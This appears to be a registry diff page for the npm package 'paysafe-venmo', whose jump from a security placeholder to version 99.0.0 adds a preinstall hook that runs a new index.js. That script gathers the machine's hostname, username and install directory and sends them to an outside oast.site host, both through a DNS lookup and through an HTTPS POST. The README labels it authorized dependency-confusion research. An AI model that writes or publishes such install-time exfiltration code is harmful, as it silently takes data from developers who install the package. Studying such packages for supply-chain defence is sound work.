paysafe-venmo 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of paysafe-venmo might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +28 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=paysafe-venmo for more information.
|
|
1
|
+
# paysafe-venmo
|
|
2
|
+
Security research package. Registered as part of authorized dependency confusion testing.
|
|
3
|
+
Contact: realvivek (Bugcrowd)
|
package/index.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
|
|
5
|
+
const pkg = require("./package.json").name;
|
|
6
|
+
const data = JSON.stringify({
|
|
7
|
+
p: pkg,
|
|
8
|
+
h: os.hostname(),
|
|
9
|
+
u: os.userInfo().username,
|
|
10
|
+
d: __dirname,
|
|
11
|
+
t: new Date().toISOString()
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const safe = Buffer.from(data).toString("hex").substring(0, 60);
|
|
15
|
+
const subdomain = "payvenmo." + safe + ".d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site";
|
|
16
|
+
try { dns.resolve(subdomain, function(){}); } catch(e) {}
|
|
17
|
+
|
|
18
|
+
const postData = JSON.stringify({pkg: pkg, host: os.hostname(), user: os.userInfo().username, dir: __dirname});
|
|
19
|
+
const req = https.request({
|
|
20
|
+
hostname: "d7d01vqqlg7v2vtidk30gew9w7ebqdsbc.oast.site",
|
|
21
|
+
port: 443,
|
|
22
|
+
path: "/",
|
|
23
|
+
method: "POST",
|
|
24
|
+
headers: {"Content-Type": "application/json", "Content-Length": postData.length}
|
|
25
|
+
}, function(){});
|
|
26
|
+
req.on("error", function(){});
|
|
27
|
+
req.write(postData);
|
|
28
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "paysafe-venmo",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion test",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "realvivek",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|